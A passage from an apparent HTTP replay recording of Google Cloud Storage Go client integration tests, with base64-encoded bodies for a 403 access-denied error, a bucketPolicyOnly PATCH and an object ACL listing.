NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9Zm9yYmlkZGVuLCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5GT1JCSURERU4sIGNyZWF0ZWRCeUJhY2tlbmQ9dHJ1ZSwgZGVidWdNZXNzYWdlPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmdldCBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldFBvbGljeU9ubHkuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5nZXQgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRQb2xpY3lPbmx5LiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmdldCBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldFBvbGljeU9ubHkuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAzLCJtZXNzYWdlIjoiYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuZ2V0IGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS4ifX0=" - } - }, - { - "ID": "0ca0bddf513110f4", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "45" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnt9fX0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "624" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:02 GMT" - ], - "Etag": [ - "CAY=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpdDWPDU9-gPzHEieE0Rqx_40yf8fJLhwAP6fVsdS4F7I7sWj0h-Ti7VoDWciZgI_lgNUB7qyh08wjTAxrTLTsSiIYt2GR6ksxhDRupMoPWni5kXmE" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjIzOjU0LjYxMFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDowMi4zNjFaIiwibWV0YWdlbmVyYXRpb24iOiI2IiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJ2ZXJzaW9uaW5nIjp7ImVuYWJsZWQiOmZhbHNlfSwibGlmZWN5Y2xlIjp7InJ1bGUiOlt7ImFjdGlvbiI6eyJ0eXBlIjoiRGVsZXRlIn0sImNvbmRpdGlvbiI6eyJhZ2UiOjMwfX1dfSwibGFiZWxzIjp7ImwxIjoidjIiLCJuZXciOiJuZXcifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FZPSJ9" - } - }, - { - "ID": "8a8bee740102593d", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketPolicyOnly/acl?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2964" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:02 GMT" - ], - "Etag": [ - "CPmu4bnx/eECEAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:24:02 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq59Mf8Ea4fgpDnUzupeIP3bGt3VpyI6HjL4KJtDKAD_h-Ua-AJSX3u3x4TCsx2MZcIVhMs9pW9SWsrIcsvsr3kGt2Je9W87LElbN5dlw02EItBcR4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9scyIsIml0ZW1zIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2J1Y2tldFBvbGljeU9ubHkvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldFBvbGljeU9ubHkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg0MDA1NTE2MSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDUG11NGJueC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvYnVja2V0UG9saWN5T25seS8xNTU2ODM1ODQwMDU1MTYxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZ